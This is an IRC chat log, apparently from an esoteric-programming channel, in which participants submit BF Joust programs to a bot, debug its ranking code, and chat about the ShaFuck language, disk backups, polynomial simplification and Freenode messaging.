http://oerjan.nvg.org/esoteric/slashes/slashes.pl 20:49:40 There is already an interpreter for test! 20:49:44 ais523: remember that argument/debate we had about whether "You can X before Y" lets you do X if Y never happens? 20:49:45 huh 20:49:48 !show test 20:49:48 That is not a user interpreter! 20:49:55 ehird: not really 20:49:58 !addinterp test2 perl http://oerjan.nvg.org/esoteric/slashes/slashes.pl 20:49:59 ais523: it was agora-related 20:50:00 Interpreter test2 installed. 20:50:05 !show test2 20:50:06 perl 20:50:09 I believe you 20:50:13 !show test2 20:50:13 perl 20:50:14 I just don't remember the details 20:50:16 ais523: the internets seem to agree with you (you can't do X): http://cowbird.110mb.com/185/premarital.png 20:50:18 although I vaguely remembre it happened 20:50:19 why the heck 20:50:28 !delinterp test2 20:50:29 Interpreter test2 deleted. 20:50:38 Proposal: {All rule disputes are settled via reddit posts} 20:50:42 !addinterp test2 perl http://oerjan.nvg.org/esoteric/slashes/slashes-int 20:50:44 Interpreter test2 installed. 20:50:48 ehird: also, someone tried to set up a paradox in the FRC like that once, it failed but for unrelated reasons 20:50:49 !show test2 20:50:49 perl (sending via DCC) 20:51:02 wait, no, that one succeeded, and the judge had to keep giving provisional judgements 20:51:02 !delinterp test2 20:51:03 Interpreter test2 deleted. 20:51:14 pikhq: What we need is flipbook monitors. 20:51:19 Extreme dpi! 20:51:36 It seems the nvg web server has suddenly decided to treat *.pl files differently. perhaps it's trying to run them or something... 20:52:21 oerjan: did you chmod +x it? 20:52:47 -!- psygnisfive has joined. 20:53:03 ehird: sure, i did my testing directly in that directory 20:53:13 however - hm wait 20:53:17 oerjan: chmod -x it then 20:53:34 but i think it was like that previously, and they reinstalled the web server or something 20:53:40 it was down for a day or so 20:54:30 ehird: the thing is, slashes-int has the same permissions but loads as text, so it's definitely extension oriented 20:54:35 so what's a good way to do backups? 20:54:50 bsmntbombdood: rsync and shit? 20:55:04 tar too. 20:55:05 it would be cool to have them completely incremental 20:55:13 ehird: in fact chmod a-x helped nothing 20:55:16 rsync does incremental backups. 20:55:30 bsmntbombdood: completely? You want to do a full one every now and then 20:55:31 * oerjan just renames to something else, they use #! lines anyway 20:55:36 Prolly. 20:55:43 i don't think i linked from the wiki to them 20:56:52 there you are. btw that directory has no index.html so you can look into it if you want 20:56:59 Sorry, that would be rdiff-backup. 20:57:19 Which makes incremental rdiff deltas. 20:57:29 (rdiff being the rsync delta algorithm) 20:57:42 I might backup nightly. Since my new system will be silent enough to leave on :P 20:57:49 Need a fuckload of external storage, though. 20:58:10 -!- azumanga has joined. 20:58:28 hi azumanga 20:58:33 haven't seen you before you new here? etc. 20:58:53 i can't imagine incremental backups taking that much space 20:59:15 bsmntbombdood: i calculated it at like 2TB 20:59:37 i'd probably just buy 4TB of drives and stick 'em in an enclosure, since that's like $200, but drive failure. 20:59:45 so i'd prolly want a raid 5 or sth 20:59:48 ehird: Yes, I read a blog post about a brainfuck battle, and a monic, both related to here, and thought that sounded like the kind of channel I might wander in and visit 21:00:02 azumanga: Monic? Do you mean nomic? 21:00:11 Yes, nomic even 21:00:18 Which one was that then? 21:00:30 BF Joust is in here, yes 21:00:34 and it originally started in a nomic 21:00:40 oh, right 21:00:49 4 1tb drives in software raid5 21:00:53 like $350 21:00:58 ais523: That's right 21:00:59 azumanga: http://codu.org/eso/bfjoust/report.txt is the current hill 21:01:05 bsmntbombdood: software raid? nonono, external enclosure RAID. 21:01:07 and http://esolangs.org/wiki/BF_Joust are the current rules 21:01:14 what if my heatsink explodes? 21:01:15 which have changed a bit since when it was part of the nomic 21:01:17 ehird: no point 21:01:24 bsmntbombdood: well, external enclosure anyway. 21:01:42 also, 1TB drive = $70 21:01:49 5 of them, one as RAID 5 parity = $350 21:01:54 + minimal enclosure cost 21:02:03 * ehird calculates it exactly 21:04:15 So, talking about BF joust (if that's allowed!), what happens if you '-' a 0 value? 21:04:18 bsmntbombdood: issue: there aren't any 5-drive enclosures :-) 21:04:23 azumanga: we're more off-topic than not :-) 21:04:24 azumanga: it becomes 255 21:04:25 and it wraps to 255 21:04:31 likewise, if you + on 255, it becomes 0 21:04:38 that's usual behaviour for 8-bit wrapping BF 21:04:49 ais523: has BF joust been reddited today? 21:04:56 oerjan: impomatic'sbloggitted 21:04:58 oerjan: not as far as I know, but I haven't looked 21:05:05 Yes, it was on reddit 21:05:09 ehird: so use 4... 21:05:20 figures 21:05:24 bsmntbombdood: that's only 3TB of storage! 21:05:26 yep, number 20 on proggit 21:05:33 azumanga: oh, his blog was redditted? 21:05:41 indirectomatic 21:05:49 ah, posted by impomatic himself :P 21:06:06 Although that post wasn't as popular as hotgoth posting it 21:06:15 bsmntbombdood: anyway, there aren't many 3 ones either 21:06:16 Wait, that one was ages ago 21:06:30 ooh, impomatic put the code for his jouster on his blog 21:06:36 !bfjoust reverseattack >+[[-].->+] 21:06:36 which means I can enter it back into EgoBots 21:06:37 Score for reverseattack: -1 (maximum 11) 21:06:40 aw 21:06:45 this is impomatic's, not mine: 21:06:52 !bfjoust shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:06:57 http://www.newegg.com/Product/Product.aspx?Item=N82E16817716067 21:07:01 At first I thought - would lock, but then things seemed too trivial, as you would have to all - every block you came across to 0. 21:07:01 that's pretty expensive though 21:07:05 Score for shortsword: -2 (maximum 12) 21:07:14 Now you get a choice between choosing to - it or + it until you hit 0 21:07:15 the in-channel scores seem to be buggy to some extent 21:08:02 bsmntbombdood: (a) $259.99 (b) it has a fucking fan, don't you think it's a little excessive 21:08:12 well, a fan isn't excessiv 21:08:14 ebut the whole thing is 21:08:24 not excessive 21:08:30 bsmntbombdood: "Cons: Adding anything more than 2 drives kills performance and RAID10 doesn't work at all. " 21:08:32 4 drives in a small space will get a little hot 21:08:41 and impomatic's shortsword still wins overall 21:08:46 although it isn't getting 100% wins any more 21:08:46 hmm 21:08:53 ais523: I thought of an unfilled programs-warring niche 21:08:55 Haskell. 21:08:59 ais523: -2 is the largest score? :D 21:09:01 Purely functional battles! 21:09:10 oerjan: the score is actually 10 21:09:12 that's pretty harsh 21:09:14 oh 21:09:16 just the in-channel scores seem buggy somehow 21:09:19 and I haven't worked out how 21:09:31 :D reverseattack is the second-best 21:10:08 ais523: you should have named it impomatic_shortsword 21:10:12 we started prepending our n ames 21:10:38 !bfjoust ehird_drowstrohs (>-->++)*2(>)*6([+[-]]>)*20 21:10:43 ehird: ah, good point 21:10:43 Score for ehird_drowstrohs: -2 (maximum 11) 21:10:49 Ooh, exciting 21:10:58 I wrote a haskell slashes interp, and it was beaten by oerjan's which abused every feature of perl regexs 21:10:59 ais523: although the bot should handle that, really 21:11:06 i didn't abuse nothing 21:11:07 oerjan: hyperbole :P 21:11:12 correct 21:11:15 you abused things 21:11:33 ehird: /every/ feature of regexes? that would be impressive 21:11:37 it's not like i'm a perl expert 21:11:41 ais523: :-P 21:11:45 IDScorePtsProgram 21:11:45 487.009ehird_drowstrohs.bfjoust 21:11:48 I AM AT THE TOPPPPPPPPPPPPPPPPPPPPPPPPPPP 21:11:51 wait 21:11:53 huh... shortsword was removed! 21:11:54 where it shortsword go? 21:12:01 ehm 21:12:05 ais523: how many points did it get? 21:12:05 so was reverseattack 21:12:07 more or less than 9 21:12:13 GregorR-L: Why did you do that? 21:12:15 it got 9 without reverseattack being there 21:12:20 ehird: 9 21:12:23 heh 21:12:26 and various programs are disappearing 21:12:32 so reversing + and - = same 21:12:32 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:12:36 ais523: GregorR-L is doing something, I suppose 21:12:39 Score for impomatic_shortsword: -2 (maximum 11) 21:12:48 up to no good, I say 21:13:21 ... 21:13:23 Mine just disappeared 21:13:27 yep 21:13:36 ais523: maybe he implemented my "eliminate sucky programs automatically" 21:13:37 except 21:13:39 he mixed it up 21:13:43 and it's removing the best contenders 21:13:59 yep, ehird_shortsword just vanished 21:14:02 yep 21:14:05 21:13 ehird: Mine just disappeared 21:14:11 GregorR-L: YOU BROKE IT UNBREAK IT 21:14:23 !bfjoust azumanga_stupid_tape [(+)*7] 21:14:24 Score for azumanga_stupid_tape: -3 (maximum 11) 21:14:44 azumanga: That is remarkably stupid indeed 21:15:00 Considering that it only ever hurts itself or helps itself not be defeated by 7 cycles 21:15:04 (But lets itself be killed anyway) 21:15:07 !bfjoust stabitty (>-)*8[>[-]-] 21:15:08 Score for stabitty: -2 (maximum 11) 21:15:16 coppro: coppro_stabitty, you mean. 21:15:22 err, sorry 21:15:27 it'll probably be killed pretty quick 21:15:29 :D 21:15:32 yeah 21:15:34 nuclear fallout of some kind 21:15:42 ooh, I see what's happened to the win announcement 21:15:47 ... 21:15:48 wat? 21:15:52 oh 21:15:52 i see 21:15:55 the way it's programmed, it counts wins as losses, losses as losses, and wins as draws 21:16:00 *draws as draws 21:16:02 hahaha 21:16:12 ais523: ooh 21:16:16 the board has been 10 elements, always 21:16:18 all the time 21:16:24 maybe GregorR-L just made it delete shit at random when it grows more 21:16:29 an attempt to make it a final hill 21:16:30 or via some algorithm that we can't figure out yet 21:16:31 *finite hill 21:16:36 but to do that, you should delete the worst program 21:17:14 indeed 21:17:17 that's what i suggested 21:17:29 ais523: yep, the max score has always been 11 21:17:31 ehird: that's what the code /appears/ to do 21:17:32 GregorR-L broked it 21:17:34 it must be buggy 21:17:39 ais523: let's read egobot's cod 21:17:40 e 21:17:41 !bfjoust azumanga_less_stupid >+>++>--->->++>-->+++>+>->[>[-]-] 21:17:42 it IS foss... 21:17:43 I am 21:17:44 atm 21:17:47 ah 21:17:48 Score for azumanga_less_stupid: -5 (maximum 11) 21:17:59 did you know that EgoBot automatically commits the repo whenever you run bf joust? 21:18:01 ais523: link? 21:18:02 also, wow. 21:18:02 I didn't either 21:18:06 Oo 21:18:09 that's in GregorR's new code 21:18:09 ehird: all the external 4 drives enclosures are >$200 21:18:12 his architecture must fucking suck 21:18:15 and link is an hg repo 21:18:16 bsmntbombdood: lame 21:18:29 ais523: correction - the link is a symlink or alias to the hg one 21:18:32 ehird: it keeps the 10 best programs in the repo all the time, or is meant to 21:18:37 the real location is http://codu.org/eso/bfjoust/in_egobot/report.txt 21:18:39 i think 21:18:51 ehird: that's not the real location, that one's the symlink 21:18:55 I think 21:19:04 lol wat 21:19:14 haha 21:19:15 ais523: no, since that one has other, unrelated fil— 21:19:16 hey 21:19:20 all the programs' source is available 21:19:24 yes 21:19:25 that so defeats half of the tactics 21:19:31 and not really 21:19:35 sure it does 21:19:39 anyway, looking at the code 21:19:44 with goethe-joust you had to work to find out how other programs worked 21:19:45 it does indeed keep the worst 10 programs 21:19:47 and how to fight them 21:19:50 now, not so much 21:19:52 ShaFuck 21:19:52 This page last ShaFuck is a variant of Brainfuck 21:19:54 updated on that is impossible to 21:19:56 08 May, 2009. write, as writing any program 21:19:58 would require breaking SHA-1. 21:19:59 hm 21:20:00 ·Spec 21:20:02 ·Code 21:20:04 ↑ impossible? not quite... 21:20:08 !bfjoust coppro_stabbity (>-)*8[>[-]-] 21:20:09 Score for coppro_stabbity: -2 (maximum 11) 21:20:10 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:20:14 hi ais523 21:20:17 hi AnMaster 21:20:26 Score for impomatic_shortsword: -2 (maximum 12) 21:21:00 GregorR-L: the bug in your code: the scores are stored from worst to best, and you eliminate array elements starting from element 10 21:21:52 split_by_group([], Consts, CRefs, Adds, Subs, Muls, Mods, Divs) -> 21:21:52 {Consts, CRefs, Adds, Subs, Muls, Mods, Divs}; 21:21:58 ? impossible? not quite... <-- you mean you know how? note i think he removed the 0 block possibility 21:21:59 hm, 8 arguments :) 21:22:24 oerjan: by having an incredibly good supercomputer 21:22:26 and bruteforcing it 21:22:33 completely and utterly infeasible? yes 21:22:35 impossible? hell no 21:22:42 -!- Taejo has quit (Read error: 110 (Connection timed out)). 21:23:03 What is SHAFuck? 21:23:08 !bfjoust coppro_stabbity2 (>-)*8[>[-][+]-] 21:23:10 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:23:15 Score for coppro_stabbity2: -2 (maximum 11) 21:23:15 azumanga: http://www.esolangs.org/wiki/ShaFuck 21:23:21 ehird: you can bruteforce SHA-1? 21:23:22 Score for impomatic_shortsword: -2 (maximum 12) 21:23:25 oerjan: ... 21:23:29 You can bruteforce anything, oerjan. 21:23:33 Start with null string, then try \0 21:23:34 then \1 21:23:34 ... 21:23:36 \255 21:23:38 then \0\0 21:23:40 then \0\1 21:23:42 ... 21:23:44 \255\255 21:23:46 until you get the right SHA-1 sum 21:23:55 (as in, the one being the 20 operations you want) 21:24:51 you'd probably only need eight strings 21:24:53 hmm... interesting 21:24:55 one for each operation 21:24:58 then you could write any program 21:25:05 ais523: nope 21:25:07 read it again 21:25:07 the [+] one beats defend1, but draws with less_stupid 21:25:09 no comments allowed 21:25:10 although, wait 21:25:11 ehird: I know 21:25:12 still loses to shortsword :( 21:25:13 ais523: indeed! 21:25:14 just do 21:25:17 OP+-+-+- 21:25:17 but, you could get the other 19 to cancel each other out 21:25:17 etc 21:25:22 there's a parity problem 21:25:30 so I suspect you'd need to leave every second element at 0 21:25:37 so you can use junk loops to waste an odd number of characters 21:25:38 ais523: unfortunately, 19 is not even 21:25:41 ah 21:25:41 I see 21:26:00 ais523: still 21:26:07 or, you could simulate 7-bit wrapping 21:26:10 !bfjoust coppro_stabbity2 (>->+)*4[>[-][+]->[-][+]+] 21:26:11 Seeing as invalid characters in brainfuck are comments, I don't think shafuck would be too hard actually 21:26:12 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:26:13 using [[ << >> -- ++ ]] 21:26:16 -!- Sgeo has joined. 21:26:16 and only have to deal with , and . 21:26:17 Score for coppro_stabbity2: 0 (maximum 11) 21:26:20 azumanga: comments are banned 21:26:24 Score for impomatic_shortsword: -2 (maximum 12) 21:26:30 ais523: you don't need -, due to wrapping 21:26:34 and you don't really need IO 21:26:39 Ah, didn't read carefully enough 21:26:43 so you just need +, >, < and [] 21:26:48 hmm... it seems GregorR took out the repo autocommit 21:27:17 I would think there is a good chance shaC would be almost as hard to write :) 21:27:25 Harder. 21:27:33 There are more distinct operations to bruteforce. 21:27:34 yes, you'd have to bruteforce for longer on average 21:27:46 !bfjoust coppro_stabbity3 (>->+)*4[>[-][+]->[-][+]+] 21:27:48 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:27:54 Score for coppro_stabbity3: -3 (maximum 11) 21:28:01 Score for impomatic_shortsword: -3 (maximum 12) 21:28:04 !bfjoust suicide < 21:28:06 Score for suicide: -1 (maximum 13) 21:28:12 ais523: we discussed earlier the case of ShaFuck with 3 bit BF encoding and mostly concluded _that_ was close to feasible, but that the ascii with no comments allowed wasn't unless you could break SHA-1 entirely 21:28:13 But, there is a higher chance you will get a valid part.. 21:28:13 ais: :( 21:28:27 coppro: I want to see if suicide will end up staying in the hill 21:28:35 or if GregorR's fixed that bug yet 21:28:39 oh 21:28:40 because it's so incredibly unlikely you'll ever get a legal program 21:28:52 or program fragment 21:29:01 oerjan: but not impossible 21:29:06 wow it actually lost to MzX 21:29:16 hm 21:29:18 2> erlang:'+'(1,2). 21:29:18 3 21:29:23 totally undocumented it seems 21:29:27 I wonder what the probability a random string will contain */C/* for some character C, and not contain */ and /* anywhere else 21:29:33 well, suicide seems to be working 21:29:35 Because from those, you could stitch together C 21:29:37 it lost every single game 21:29:50 azumanga: you'd need a /* and a */ 21:29:53 also, comments count as whitespace 21:30:01 so you couldn't do any multi-character identifiers like that 21:30:20 !bf coppro_stabbity (>->+)*4[>[-][+]->[-][+]+] 21:30:28 Except that one could do it with preprocessor hackery. 21:30:39 Yes, you could look for */##/* 21:30:45 and you'd need a start and finish as well 21:30:45 Token combining is something the preprocessor could do. 21:30:47 :) 21:30:58 that's c+cpp, though 21:30:59 not c 21:31:01 But, if you generate random strings, you should find /*... after only 65000 tests or so 21:31:01 ooh, the report's now staying up while other things are calculated 21:31:02 cpp changes c+cpp into c 21:31:09 (it is however a required part of c compilation) 21:31:13 ehird: The preprocessor is part of C. 21:31:18 ais523: I wish GregorR-L would actually talk to us about this while doing it... 21:31:21 pikhq: see above 21:31:31 meh 21:31:33 What's the score mean? 21:32:10 Scoreification. 21:32:13 Goodness. 21:32:14 ehird: discussing ShaFuck without distinguishing between physical possibility and abstract mathematical possibility is meaningless 21:32:16 Winness. 21:32:21 Amazing awesomesauce. 21:32:25 coppro: in-channle, no idea 21:32:28 oerjan: it is physically possible! 21:32:33 it's just infeasible 21:32:35 ehird: ... Now you're being more pedantic than the average obsessive-compulsive. 21:32:41 pikhq: :-) 21:32:43 no, on the report 21:32:48 also, EgoBot hasn't got back to us about the coppro-stabbity program 21:32:53 the report appears to just be not updated right now 21:32:56 coppro: you wrote !bf not !bfjoust 21:32:57 oh crap 21:32:58 haha 21:33:00 yeah I see that 21:33:06 !bfjoust coppro_stabbity (>->+)*4[>[-][+]->[-][+]+] 21:33:08 oerjan: if you devoted the whole universe - or most of it, anyway - to the calculation of an ShaFuck program, and let it run for uncountable eons, then you could generate a program 21:33:08 Score for coppro_stabbity: -2 (maximum 11) 21:33:11 physically possible. 21:33:17 ok, the report is blanking now 21:33:55 -!- wendy has joined. 21:33:59 nope, suicide is still there 21:34:03 hi wendy 21:34:07 you from impomatic's blog/reddit too? 21:34:12 ↑ see, I'm psychic, I am 21:34:13 -!- wendy has quit (Client Quit). 21:34:21 someone doesn't like psychics. 21:34:25 winning the hill is getting easier and easier 21:34:31 I don't think it's true that SHA1 is a reversible function, so it's very faintly possible there isn't any string which hashes into valid brainfuck (extremely unlikely of course) 21:34:34 ehird: that is not certain, entropy does increase after all 21:34:41 !bfjoust ehird_totallynotshortsword (>++>--)*2(>)*6([-[+]]>)*20 21:34:46 Score for ehird_totallynotshortsword: -2 (maximum 11) 21:35:00 theory: we should all write programs which are very good, but lose to the programs there due to having subtle flaws 21:35:02 azumanga: I'd wager a bajillion that there are such a strings 21:35:08 ais523: haha 21:35:13 oerjan: work it out ;-) 21:35:20 first calculate the computational power of the universe 21:35:28 oerjan: i mean, on a universal scale, SHA-1 isn't that hard to braek 21:35:29 break 21:35:32 ehird: Yes, but if you want to define such a stupid language, you should make sure it's at least valid 21:35:32 2**50 complexity iirc? 21:35:36 there is recent research, oerjan 21:35:39 people are moving away from it 21:35:42 ais523: exactly how do [] factor in for timing? 21:35:44 and it's officially recommended to upgrade to SHA-2 etc 21:36:00 so clearly there is a general opinion breaking it is going to get easier, and if you put more or less the whole universe to the task... 21:36:02 pretty easy 21:36:09 coppro: they both take one cycle, and look at the value at the start of the cycle; [ jumps to after the ], ] jumps to after the [ 21:36:12 it's explained on the wiki 21:36:22 so [-] takes 2 cycles to loop? 21:36:31 coppro: yes 21:36:33 You'd probably be better of putting all the mathematicans on earth on the task, and see if they can shake out any more weaknesses 21:36:34 [-]-]-]-]-]-] 21:36:34 ok 21:36:42 in terms of which command runs on each cycle 21:37:20 azumanga: even so— the universe could probably crack SHA-1 quite quickly 21:37:28 it's not as if it's the most difficult hash function to break evarr 21:37:30 ehird: ok probably 21:39:01 Would be interesting to try to do shafuck with comments allowed, as that language is probably implementable (although would still take a while) 21:39:25 azumanga: that would be quite easy as i recall 21:39:28 I wonder if this is just a creative suicide 21:39:49 azumanga: er, shafuck is implemented 21:39:55 anyway, it'd be trivial 21:40:05 you just have to get one of the bf chars in, and avoid bf chars anywhere else in the string 21:40:10 ehird: I mean, it would be possible to actually write programs in 21:40:10 how did suicide end up above MzX in the rankings, I wonder? 21:40:12 it's the kind of thing you'd hit just hashing random strings 21:40:17 for like an hour 21:41:28 !bfjoust coppro_sleeper []+.-[>[-].+] 21:41:45 Score for coppro_sleeper: -7 (maximum 11) 21:42:12 azumanga: 248^19/256^20 ~= 0.0021368922769481, that's the probability of hitting something that has precisely the character you want first, and the rest comments 21:42:25 that's essentially trivial to hit 21:42:28 oerjan: yeah 21:42:43 It even more trivial than that, because it just has to be any character, without other ones 21:43:14 well, multiply that by 20 to put the desired character anywhere 21:43:15 hey, my program never loses! 21:43:35 coppro: against an antihill 21:43:46 azumanga: that's what a comment is 21:43:47 anthill? 21:43:55 coppro: the worst programs 21:44:12 -!- KingOfKarlsruhe has joined. 21:44:27 heh 21:44:32 it's a nice hill, ais523 21:44:39 it probably takes more skill to beat the absolute worst programs 21:44:47 how can you beat something that kills itself in one cycle? 21:44:51 (beat for worseness, that is) 21:44:53 you can't 21:44:58 let's try it against the sword 21:45:02 !bfjoust coppro_sleeperagain []+.-[>[-].+] 21:45:04 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 21:45:10 :D 21:45:13 Score for impomatic_shortsword: -3 (maximum 12) 21:45:28 Score for coppro_sleeperagain: -7 (maximum 11) 21:46:06 ais523: weren't the flags initialized to 128? so it would take more than one cycle to suicide 21:46:21 oerjan: it suicides by going off the end of the tape 21:46:24 rather than sinking its own flag 21:46:25 oh 21:47:15 ais523: another way to suicide: 21:47:16 ] 21:47:31 !bfjoust ehird_defying_the_conventions_of_antimoral_narrative_in_a_postmodernist_scientific_framework ] 21:47:32 Score for ehird_defying_the_conventions_of_antimoral_narrative_in_a_postmodernist_scientific_framework: -11 (maximum 11) 21:47:33 is going off actually death, or is it just you wait until your flag drops? 21:47:33 ehird: that's not a suicide, but an invalid program 21:47:37 so it draws with everything 21:47:39 coppro: going off is death 21:47:42 ais523: meh 21:47:43 that's how defence programs work 21:47:44 oh 21:47:44 i like my name, anyway 21:47:48 they try to trick the opponent into going off 21:48:02 ais523: oh, i thought they just tried to make them timeout 21:48:05 but that makes sense 21:48:06 *defense 21:48:08 timeout is draw 21:48:11 (that was correcting you) 21:48:15 coppro: 'xactly 21:48:34 basically, they exploit the two-cycles thing 21:48:42 to leave their flag at 0 for one cycle 21:48:50 so the opponent thinks they've sunk the flag, and continue with > 21:49:06 * coppro tries to work out a real sleeper, which was his intent 21:49:27 coppro: ais523_defence5 is a sleeper 21:49:59 although it tries to detect if the opponent is a sleeper too 21:50:07 and uses a counter-sleeper strategy in that case 21:54:58 * oerjan is almost tempted to register on reddit to get rid of the crap norwegian subreddits they recently added to my menu 21:55:30 !bfjoust coppro_realsleep ([{>+[>[-]]<}]+.-)*15[>[-]+] 21:55:31 Score for coppro_realsleep: -10 (maximum 11) 21:56:11 hmm 21:56:23 eh, let's wait for Gregor to fix things 21:56:29 then go play corewar 21:56:52 corewar, or BF joust? 21:57:47 dammit they're all empty or just spam, except no whose top article is a month old 21:58:30 oerjan: :D 21:58:39 oerjan: Register and participate in pun threads. 21:58:48 Except always make the pun mathematics-related. 21:58:53 No matter what the actual topic of the thread. 21:58:53 well that _is_ somewhat tempting 21:58:58 corewar! 21:59:02 Tenuous links give extra points. 21:59:31 except the mathematical part 21:59:44 unless it really fits, of course 22:02:18 dammit changing the language to english works for everything except that menu 22:03:04 hm I think I'm writing a simple CAS here... 22:03:12 oh wait there's a checkbox - it worked! 22:03:15 :( 22:03:19 (very simple one) 22:03:34 * oerjan now can happily press technology without using the MORE link again 22:03:41 what is the best way to represent a polynom in a computer, to be able to simplify it 22:03:42 Since you people seem to be present here right now; [in case there are fungot-related issues or whatever] if someone happens to wonder why I don't seem to be here; I'll be away from the internets (silly phone doesn't do wifi, roaming-gprs is overly expensive, don't want to carry any unnecessary stuff) vacationing in Italy for 2008-05-24 -> 2008-06-04. 22:03:42 fizzie: programmers loose their right to arm bears 22:04:02 currently I represet it as a tree of operations. 22:04:35 (and references and constants and so on) 22:04:35 (Now some sleep, wake-up time in order to catch the plane is in four hours.) 22:04:52 * AnMaster thinks either oerjan or ais523 should know more about this. 22:05:11 AnMaster: polynomials are often represented as a list of coefficients 22:06:12 hm ok 22:06:27 AnMaster: you might want to keep associative operations such as addition and multiplication with lists at their level 22:06:44 and possibly sort the lists 22:06:58 oerjan, I want to constant fold as much as possible too 22:07:14 like 0*p[0] + 2 => 2 22:07:23 AnMaster: well you would traverse the lists for the parts that are constants 22:08:07 AnMaster: it's just that with (a+b)+(c+d), mathematically a,b,c and d are mostly at the same level 22:08:19 oerjan, yes 22:08:31 also, you may want to treat subtraction as addition of a negative, for related reasons 22:09:09 you can't represent 5*(a + 4) + 9 * (a + (4 * c)) as a polynom right? 22:09:20 and division as multiplication by ... hm, you could actually use a standard quotient of products thing 22:09:23 oerjan, also yes indeed 22:09:44 AnMaster: well after rearranging, of course you can 22:09:55 err right 22:10:09 oerjan, and that is probably what my question is really about 22:10:33 given such an equation, how would you in a computer program turn it into a simplified polynom form 22:10:50 equation isn't right word is it? 22:11:08 because it has only one side 22:11:11 term? after using distributive law enough you should have a sum of products 22:11:18 expression maybe 22:11:22 if that is the English term for it 22:11:23 ah 22:12:30 on the other hand, using the distributive law where it _doesn't_ help can be expensive 22:12:38 such as when factorizing polynomials 22:12:58 because distributivity is not easily reversible 22:13:26 but grouping associative operations is harmless in comparison 22:15:31 hm 22:15:35 -!- kar8nga has quit (Remote closed the connection). 22:26:33 * AnMaster now wonders how to best code the distributive law in software... 22:27:33 AnMaster: you have powerful pattern matching, don't you? 22:27:36 you could just pattern-match it 22:27:48 ais523, true hm... 22:32:55 * oerjan notes that this is essentially sequence in the [] monad *ducks* 22:33:48 mind you that is assuming it's a sum of a list whose elements are each products of a list 22:34:06 er the other way around 22:34:10 how do you represent division, in general... 22:34:14 (in polynoms) 22:34:22 you don't 22:34:24 multiply by inverse would work I guess 22:34:42 (if it can be constant folded that is) 22:34:43 if you have division it's not a polynom any longer >:) 22:34:50 oerjan, yeah sucks. 22:35:16 however you frequently simplify it to a single division of two polynoms 22:35:42 maybe better would be to simplify general expressions... hm 22:36:06 (possibly turning it into polynoms, if it is possible) 22:37:13 there are of course an infinite number of additional rules to use as you add an infinite number of additional functions... 22:38:54 oerjan, hm? You mean like handle sqrt(), sin(), cos() and so on? Not needed here. Just need to handle + - * / mod 22:39:01 mod? 22:39:20 mod is integer stuff 22:39:25 -!- inurinternet has joined. 22:39:29 oerjan, and I'm working on known integers 22:39:46 so, correction: s/\//div/ 22:39:48 if you do integer stuff you need to be much more careful with / 22:39:52 yep 22:39:55 it is integer division 22:39:56 too 22:40:38 22:03 fizzie: Since you people seem to be present here right now; [in case there are fungot-related issues or whatever] if someone happens to wonder why I don't seem to be here; I'll be away from the internets (silly phone doesn't do wifi, roaming-gprs is overly expensive, don't want to carry any unnecessary stuff) vacationing in Italy for 2008-05-24 -> 2008-06-04. ← why would you ever leave finland 22:40:39 ehird: you could read from files *shrugs*... but it does matter in that signed integer overflow is undefined behaviour, instead of 22:40:45 oerjan, and yes I need to take care of when it isn't divisable. 22:41:15 hm ouch 22:42:52 if this is BF then your mods are probably all by 256 and you may want to be doing all the calculation in (mod 256) arithmetic 22:43:02 which is easy in C, just use unsigned char 22:43:15 and is relatively easy in many other languages 22:46:51 / still is hairy though. modular inverse generally exists when the divisor is odd, otherwise it gets even hairier 22:47:02 (for 256) 22:47:31 -!- zzo38 has joined. 22:48:27 Even User:Patashu has ask if I was submit interpreter to golf.shinh.org and I try, but I can't! 22:49:06 * oerjan guesses interpreters are added on a case by case basis? 22:49:36 But they won't even answer it. 22:50:22 well it _is_ weekend 22:51:40 You look at "WHOIS shinh shinh" they are idle for 132416 second (1.5 days approx) Can you try to send message later please? Because I can't. 22:51:49 btw you are not registered. are you aware that unregistered users generally cannot send private messages on freenode? 22:52:21 indeed 22:52:29 zzo38: well, shinh might just be doing other things... 22:52:33 It seens to work I sent to "oerjan" the CTRL+A PING and reply. 22:52:38 That's different 22:52:42 ctcp != other private messages 22:52:48 zzo38: Say "hi" to me in /msg 22:52:53 is that so? 22:52:54 Then tell me when you have in here 22:53:00 I'll tell you if I've got it 22:53:01 ehird: How? 22:53:06 zzo38: PRIVMSG ehird :hi 22:53:20 shinh's idling does fit a weekend break pretty well, doesn't it 22:53:31 I can send messages to PocketMonsterIRC on Freenode and also multiple widnows I have connected is that because of the same address or something like that? 22:53:43 hmm 22:53:46 it worked your message to me 22:53:52 It send the message OK? 22:53:57 zzo38: there's a flag people can set whether they want to accept unregistered pms or not 22:54:02 zzo38: yes, although see oerjan 22:54:08 shinh may have set the flag, or may just be busy doing other things, etc 22:54:14 zzo38: he may have an email address 22:54:31 The help on this IRC won't list any user flags and modes only the list of commands. 22:54:52 zzo38: it's in the connect splurge 22:54:54 before the motf 22:54:55 motd 22:54:59 I even tried on the channel before and still got no reply on the corresponding channel either 22:55:22 Is there a way to repeat the connect text before the MOTD 22:55:28 zzo38: nope 22:55:37 and /shrug, people are just busy, doing other things, can't help, etc 22:56:12 I should just reconnect in other window to read it 22:56:28 zzo38: btw there is a MemoServ, although i've never used it, i don't know if it works when people are just idle and not logged off 22:56:37 indeed 22:56:46 only when they log in, I think 22:56:55 -!- azumanga has quit. 22:57:58 I didn't see a list of the user-modes 22:58:14 How can MemoServ function be activated 22:58:20 PRIVMSG MemoServ :HELP 22:58:27 zzo38: i saw about this flag in the freenode faq on freenode.org, i think 22:58:39 zzo38: 22:58:40 :pratchett.freenode.net 004 aaaaaaaaaaa pratchett.freenode.net hyperion-1.0.2b aAbBcCdDeEfFGhHiIjkKlLmMnNopPQrRsStTuUvVwWxXyYzZ01234569*@ bcdefFhiIklmnoPqstv 22:58:42 :pratchett.freenode.net 005 aaaaaaaaaaa IRCD=dancer CAPAB CHANTYPES=# EXCEPTS INVEX CHANMODES=bdeIq,k,lfJD,cgijLmnPQrRstz CHANLIMIT=#:20 PREFIX=(ov)@+ MAXLIST=bdeI:50 MODES=4 STATUSMSG=@ KNOCK NICKLEN=16 :are supported by this server 22:58:46 :pratchett.freenode.net 005 aaaaaaaaaaa SAFELIST CASEMAPPING=ascii CHANNELLEN=30 